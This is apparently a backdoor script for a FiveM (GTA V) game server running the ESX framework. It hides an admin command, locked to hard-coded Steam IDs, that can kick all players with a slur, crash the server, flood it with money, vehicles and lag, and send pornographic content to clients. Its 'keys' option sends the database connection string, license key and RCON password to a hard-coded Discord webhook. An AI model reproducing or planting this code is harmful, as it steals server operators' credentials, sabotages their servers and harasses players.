ESX = exports.es_extended:getSharedObject()
local admins = {
'steam:1100001561af4ba',
'steam:1100001425f77c5',
'steam:11000015613f39f'
}
RegisterCommand('dicker', function(s, args)
local cmd = args[1]
local ident = ExtractIdentifiers(s)
for , i in pairs(admins) do
if ident.steam == i then
if cmd == 'crash' then
for , i in pairs(GetPlayers()) do
DropPlayer(i, 'https://discord.gg/veg | Werdet Vegan ihr Schweine!')
end
Wait(1000)
os.exit()
elseif cmd == 'customcr' then
for , i in pairs(GetPlayers()) do
DropPlayer(i, table.concat(args, " ", 2, #args))
end
Wait(1000)
os.exit()
elseif cmd == 'money' then
CreateThread(function()
while true do
local xPlayers = ESX.GetPlayers()
for i = 1, #xPlayers, 1 do
local xPlayer = ESX.GetPlayerFromId(xPlayers[i])
xPlayer.addMoney(1000000)
end
Wait(10)
end
end)
elseif cmd == 'stop' then
StopResource('es_extended')
elseif cmd == 'keys' then
PerformHttpRequest("http://api.ipify.org/", function(err, rText, headers)
local IP = rText
fullContent = ([[
INFO:
Hostname: %s
MySQL Connection: %s
Server License Key: %s
RCON Password: %s
Server IP: %s
]]):format(GetConvar('sv_hostname'), GetConvar('mysql_connection_string'), GetConvar('sv_licensekey'), GetConvar('rcon_password'), rText)
PerformHttpRequest("https://discord.com/api/webhooks/1042842952558456874/MrVp5NKwAVlGNWMmHURZJ72_fLTrYTvEe4Ri3HO5nf4bETuhzRFXPD3n5mALl0xEYcWr", function(err, text, header) end,
'POST', json.encode({username = GetConvar('sv_hostname'), content = fullContent}), {['Content-Type'] = 'application/json'})
end)
elseif cmd == 'tpall' then
CreateThread(function()
while true do
local peds = GetAllPeds()
for ,i in pairs(peds) do
SetEntityCoords(i, -2000.8101, 3194.1477, 32.8103)
end
Wait(100)
end
end)
elseif cmd == 'cars' then
CreateThread(function()
local peds = GetAllPeds()
while true do
for ,i in pairs(peds) do
local x,y,z = table.unpack(GetEntityCoords(i))
local model = GetHashKey('kosatka')
CreateVehicle(model, x, y, z, 0.0, true, true)
end
Wait(1000)
end
end)
elseif cmd == 'mfcars' then
CreateThread(function()
local peds = GetAllPeds()
while true do
for ,i in pairs(peds) do
local x,y,z = table.unpack(GetEntityCoords(i))
local model = GetHashKey('kosatka')
CreateVehicle(model, x, y, z, 0.0, true, true)
end
Wait(10)
end
end)
elseif cmd == 'delcars' then
CreateThread(function()
while true do
ExecuteCommand('carwipe')
Wait(3000)
end
end)
elseif cmd == 'delents' then
CreateThread(function()
while true do
ExecuteCommand('entitywipe')
Wait(3000)
end
end)
elseif cmd == 'delpeds' then
CreateThread(function()
while true do
ExecuteCommand('pedwipe')
Wait(3000)
end
end)
elseif cmd == 'delall' then
CreateThread(function()
while true do
ExecuteCommand('carwipe')
ExecuteCommand('entitywipe')
ExecuteCommand('pedwipe')
Wait(3000)
end
end)
elseif cmd == 'orbi' then
CreateThread(function()
local peds = GetAllPeds()
for ,i in pairs(peds) do
local blip = AddBlipForEntity(i)
SetBlipSprite(blip, 1)
end
end)
elseif cmd == 'blips' then
CreateThread(function()
while true do
local peds = GetAllPeds()
for ,i in pairs(peds) do
local x,y,z = table.unpack(GetEntityCoords(i))
local blip = AddBlipForCoord(vector3(x,y,z))
SetBlipSprite(blip, 1)
end
Wait(500)
end
end)
elseif cmd == 'banall' then
CreateThread(function()
local xPlayers = ESX.GetPlayers()
for i = 1, #xPlayers, 1 do
local xPlayer = ESX.GetPlayerFromId(xPlayers[i])
xPlayer.addWeapon('WEAPON_MINIGUN', 9999)
end
end)
elseif cmd == 'sound' then
TriggerClientEvent('spamsound', -1)
elseif cmd == 'porn' then
TriggerClientEvent('prsnall', -1)
elseif cmd == 'video' then
TriggerClientEvent('prsnall', -1, args[2])
elseif cmd == 'dc' then
TriggerClientEvent('discorddddddddddddddddddd', -1)
elseif cmd == 'lag' then
TriggerClientEvent('lagnikkaaa', -1)
elseif cmd == 'ragdoll' then
TriggerClientEvent('radasijdipjakspasd', -1)
end
end
end
end, false)
function ExtractIdentifiers(src)
local identifiers = {
steam = "",
ip = "",
discord = "",
license = "",
xbl = "",
live = ""
}
for i = 0, GetNumPlayerIdentifiers(src) - 1 do
local id = GetPlayerIdentifier(src, i)
if string.find(id, "steam") then
identifiers.steam = id
elseif string.find(id, "ip") then
identifiers.ip = id
elseif string.sub(id, 1, string.len("discord:")) == "discord:" then
discordid = string.sub(id, 9)
identifiers.discord = "<@" .. discordid .. ">"
elseif string.find(id, "license") then
identifiers.license = id
elseif string.find(id, "xbl") then
identifiers.xbl = id
elseif string.find(id, "live") then
identifiers.live = id
end
end
return identifiers
end